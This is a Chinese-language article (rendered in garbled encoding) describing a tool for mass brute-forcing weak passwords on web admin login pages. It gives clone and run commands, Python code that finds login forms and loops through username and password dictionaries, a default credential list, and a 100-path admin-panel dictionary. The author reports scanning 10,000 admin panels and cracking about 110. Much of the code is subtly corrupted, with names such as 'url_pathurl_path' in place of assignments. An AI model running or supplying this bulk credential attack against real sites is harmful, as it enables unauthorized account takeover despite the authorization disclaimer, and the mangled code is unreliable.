Web弱口令通用檢測(cè)方法探究
注意：本腳本只是探討通用web口令破解的可行性，所有測(cè)試請(qǐng)自行搭建靶機(jī)環(huán)境或者在拿到目標(biāo)系統(tǒng)相關(guān)授權(quán)后再進(jìn)行測(cè)試。文中所涉及的技術(shù)、思路和工具僅供以安全為目的的學(xué)習(xí)交流使用，任何人不得將其用于非法用途以及盈利等目的，否則后果自行承擔(dān)!
工具介紹
通用的web弱口令破解腳本，旨在批量檢測(cè)那些沒(méi)有驗(yàn)證碼的管理后臺(tái)。
隨著攻防演練和一些漏洞挖掘任務(wù)的增多，有時(shí)候需要大批量快速的檢測(cè)一些網(wǎng)站后臺(tái)安全性，特別是測(cè)試一些管理弱口令，這種難度不大但比較費(fèi)時(shí)費(fèi)力的工作就需要一個(gè)自動(dòng)化的腳本來(lái)完成了。但目前的各種web口令破解工具大多是針對(duì)某個(gè)cms進(jìn)行設(shè)計(jì)，或者類(lèi)似burpsuite需要手工配置，沒(méi)有見(jiàn)過(guò)能通用的破解工具。
因此就有了這個(gè)小工具——通用web弱口令破解腳本，配合另一個(gè)信息搜集工具
https://github.com/TideSec/FuzzScanner 可以進(jìn)行批量快速刷分。
安裝使用
安裝使用都比較簡(jiǎn)單：
從Github上拖下來(lái)
- git clone https://github.com/TideSec/web_pwd_common_crack
安裝requirements.txt依賴(lài)
- pip install -r requirements.txt
運(yùn)行腳本即可
- python web_pwd_crack.py url.txt 50 --> url.txt為待掃描URL地址列表,50為線(xiàn)程數(shù)，默認(rèn)為50
url.txt為待檢測(cè)URL地址，可以自己寫(xiě)個(gè)腳本批量從搜索引擎獲取，也可以自己用目錄枚舉工具去搜集。
功能原理
1. 訪(fǎng)問(wèn)目標(biāo)地址，分析關(guān)鍵字
原理非常low，就是從頁(yè)面中提取表單，對(duì)表單中的內(nèi)容進(jìn)行檢索，發(fā)現(xiàn)存在用戶(hù)名、密碼、username、pwd、pass之類(lèi)的字段則認(rèn)為是登錄頁(yè)面，然后提取參數(shù)組成data數(shù)據(jù)，發(fā)送給crack函數(shù)進(jìn)行破解。
由于現(xiàn)在各種網(wǎng)站的請(qǐng)求包的多樣性，目前沒(méi)法做到像wvs那樣能提取到所有的登錄post，只是根據(jù)簡(jiǎn)單的關(guān)鍵字進(jìn)行了提取。
- logins =['用戶(hù)名','密碼','login','denglu','登錄','user','pass','yonghu','mima','pwd','zhanghao','yonghu','name','email','account']
在測(cè)試中還發(fā)現(xiàn)有時(shí)候搜索框會(huì)干擾結(jié)果，所以把搜索框又進(jìn)行了排除
- sous = ['檢索','搜','search','查找','keyword','關(guān)鍵字']
另外，目前不支持自動(dòng)識(shí)別驗(yàn)證碼，所以對(duì)驗(yàn)證碼也進(jìn)行了排除
- yzms = ['驗(yàn)證碼','點(diǎn)擊更換','點(diǎn)擊刷新','checkcode','valicode','code','captcha']
2. 通過(guò)解析頁(yè)面獲取post地址及參數(shù)
- def get_post_get_page(content,url):
- form_action = str(content).split('\n')[0]
- # print form_action
- soup = BS(form_action, "lxml")
- url_path = ''
- for x in re.findall(".*?/",url):
- url_pathurl_path = url_path+x
- action_url = soup.form['action']
- if str(action_url).startswith('http'):
- path = action_url
- else:
- path = url_path+soup.form['action']
- method = soup.form['method']
- return path,method
3. 在獲取相關(guān)參數(shù)和path后調(diào)用破解函數(shù)web_crack進(jìn)行密碼破解
- def web_crack(method,path,data):
- conn = requests.session()
- res0 = conn.get(path, headers=requests_headers(), allow_redirects=False,timeout=10,proxies = requests_proxies())
- error_length,cookie_error_flag,dynamic_req_len = get_error_length(conn,method,path,data)
- if dynamic_req_len:
- return False,False
- num = 0
- success_flag = 0
- dic_all = len(USERNAME_DIC)*len(PASSWORD_DIC)
- for user_name in USERNAME_DIC:
- for pass_word in PASSWORD_DIC:
- datadata1 = data
- # print data1
- user_nameuser_name = user_name.strip()
- pass_wordpass_word = pass_word.strip()
- pass_word = str(pass_word.replace('{user}', user_name))
- data2 = str(data1.replace('%7Buser_name%7D', user_name))
- data2 = str(data2.replace('%7Bpass_word%7D', pass_word))
- numnum = num+1
- res = conn.post(url = path,data = data2, headers=requests_headers(), timeout=10,verify=False,allow_redirects=False,proxies = requests_proxies())
- cur_length = len(res.content+str(res.headers))
- if cookie_error_flag: # cookie_error_flag表示每個(gè)數(shù)據(jù)包中都有cookie
- if cur_length!=error_length:
- success_flag =1
- return user_name,pass_word
- elif 'Set-Cookie' in res.headers and cur_length!=error_length:
- success_flag =1
- return user_name,pass_word
- if success_flag == 0:
- return False,False
配置了一個(gè)比較簡(jiǎn)單的字典
- USERNAME_DIC = ['admin','guest','test','ceshi','system']
- PASSWORD_DIC = ['123456','admin','password','123123','123','1','{user}','{user}{user}','{user}1','{user}123','{user}2018','{user}2017','{user}2016','{user}2015','{user}!','P@ssw0rd!!','qwa123','12345678','test','123qwe!@#','123456789','123321','1314520','666666','woaini','000000','1234567890','8888888','qwerty','1qaz2wsx','abc123','abc123456','1q2w3e4r','123qwe','a123456','p@ssw0rd','a123456789','woaini1314','qwerasdf','123456a','123456789a','987654321','qwer!@#$','5201314520', 'q123456', '123456abc', '123123123', '123456.','0123456789', 'asd123456', 'aa123456', 'q123456789', '!QAZ@WSX','12345','1234567','passw0rd','admin888']
4. 如何判斷破解成功
目前使用了幾種方式相互結(jié)合的方法來(lái)共同驗(yàn)證。
- 通過(guò)返回包里有沒(méi)有Set-Cookie;
- 返回?cái)?shù)據(jù)包的長(zhǎng)度變化;
- 使用requests.session()進(jìn)行重驗(yàn)證;
- 返回頁(yè)面的內(nèi)容匹配。
- 優(yōu)化準(zhǔn)確度，加入了recheck函數(shù)
在測(cè)試時(shí)發(fā)現(xiàn)會(huì)出現(xiàn)誤報(bào)情況，所以對(duì)成功的賬戶(hù)密碼進(jìn)行了重驗(yàn)證。比如：
- 有些系統(tǒng)在探測(cè)多次之后出現(xiàn)封ip之類(lèi)的情況，這時(shí)候會(huì)干擾破解腳本的判斷;
- 有些系統(tǒng)在開(kāi)始的時(shí)候沒(méi)有驗(yàn)證碼，但錯(cuò)誤幾次后會(huì)出現(xiàn)驗(yàn)證碼;
- 有些系統(tǒng)的提示信息會(huì)出現(xiàn)隨機(jī)的變更，導(dǎo)致誤報(bào)。
工作界面
掃描過(guò)程如下
掃描成功的結(jié)果會(huì)保持在web_crack_ok.txt文件中
掃描中識(shí)別到驗(yàn)證碼、phpmyadmin等所有的日志會(huì)保存在web_crack_log.txt文件中，后期可以根據(jù)log日志再進(jìn)行逐一篩查。
其他說(shuō)明
其實(shí)在完成這個(gè)工具后，也開(kāi)始明白為什么市面上沒(méi)有通用的破解器，因?yàn)槌晒β实拇_不高!我測(cè)試過(guò)10000個(gè)管理后臺(tái)，破解出來(lái)弱口令的大約110個(gè)，有沒(méi)有漏報(bào)不清楚但基本沒(méi)有誤報(bào)。
成功率不高主要原因有：
- web頁(yè)面類(lèi)型繁雜，很難準(zhǔn)確獲取并提交正確參數(shù);
- 很多頁(yè)面都有驗(yàn)證碼，目前這個(gè)小腳本還沒(méi)法自動(dòng)識(shí)別驗(yàn)證碼;
- 為了平衡時(shí)間和效率，使用了比較簡(jiǎn)單的用戶(hù)名和密碼字典，所以稍微復(fù)雜的密碼就破解不出來(lái)了。
我一般會(huì)使用dirsearch或之類(lèi)的目錄枚舉工具，配置一個(gè)比較輕便的管理后臺(tái)目錄字典，對(duì)目標(biāo)地址進(jìn)行批量掃描管理后臺(tái)，然后再使用web_pwd_crack.py對(duì)這些后臺(tái)地址批量進(jìn)行弱口令破解。
貢獻(xiàn)一個(gè)比較精簡(jiǎn)的管理后臺(tái)字典(100條)
- admin/default/login.asp
- admin/login.asp
- admin/manage/login.asp
- admin_login/login.asp
- admincp/login.asp
- administrator/login.asp
- login.asp
- manage/login.asp
- manager/login.asp
- member/login.asp
- admin-login.php
- admin/admin-login.php
- admin/admin_login.php
- admin/login.php
- admin2/login.php
- admin_area/login.php
- admin_login.php
- adminarea/login.php
- admincontrol/login.php
- administrator/login.php
- administratorlogin.php
- adminlogin.php
- autologin.php
- bb-admin/login.php
- blog/wp-login.php
- checklogin.php
- login.php
- modelsearch/login.php
- moderator/login.php
- nsw/admin/login.php
- pages/admin/admin-login.php
- panel-administracion/login.php
- processlogin.php
- rcjakar/admin/login.php
- relogin.php
- siteadmin/login.php
- sqlbuddy/login.php
- userlogin.php
- usuarios/login.php
- webadmin/login.php
- wp-login.php
- account/login.jsp
- accounts/login.jsp
- admin/login.jsp
- auth/login.jsp
- jsp/extension/login.jsp
- login.jsp
- member/login.jsp
- members/login.jsp
- portalAppAdmin/login.jsp
- admin.jsp
- netadmin.jsp
- admin.php
- admin.php3
- admin/admin.php
- admin_area/admin.php
- adminarea/admin.php
- authadmin.php
- bb-admin/admin.php
- checkadmin.php
- cmsadmin.php
- dbadmin.php
- fileadmin.php
- isadmin.php
- linusadmin-phpinfo.php
- memberadmin.php
- moadmin.php
- modelsearch/admin.php
- moderator/admin.php
- panel-administracion/admin.php
- phpliteadmin.php
- siteadmin.php
- sysadmin.php
- tmp/admin.php
- ur-admin.php
- user/admin.php
- users/admin.php
- webadmin.php
- webadmin/admin.php
- wp-content/plugins/akismet/admin.php
- admin.asp
- admin.aspx
- admin/default/admin.asp
- admin/manage/admin.asp
- admin_login/admin.asp
- administrator/admin.asp
- article/admin/admin.asp
- denglu/admin.asp
- guanli/admin.asp
- houtai/admin.asp
- login/admin/admin.asp
- manage/admin.asp
- manager/admin.asp
- member/admin.asp
- admin/logon.jsp
- admin/secure/logon.jsp
- compass/logon.jsp
- logon.jsp
- logon/logon.jsp
ToDo
- 驗(yàn)證碼識(shí)別
- 減少誤報(bào)率
- 優(yōu)化編碼處理
- 能不那么low
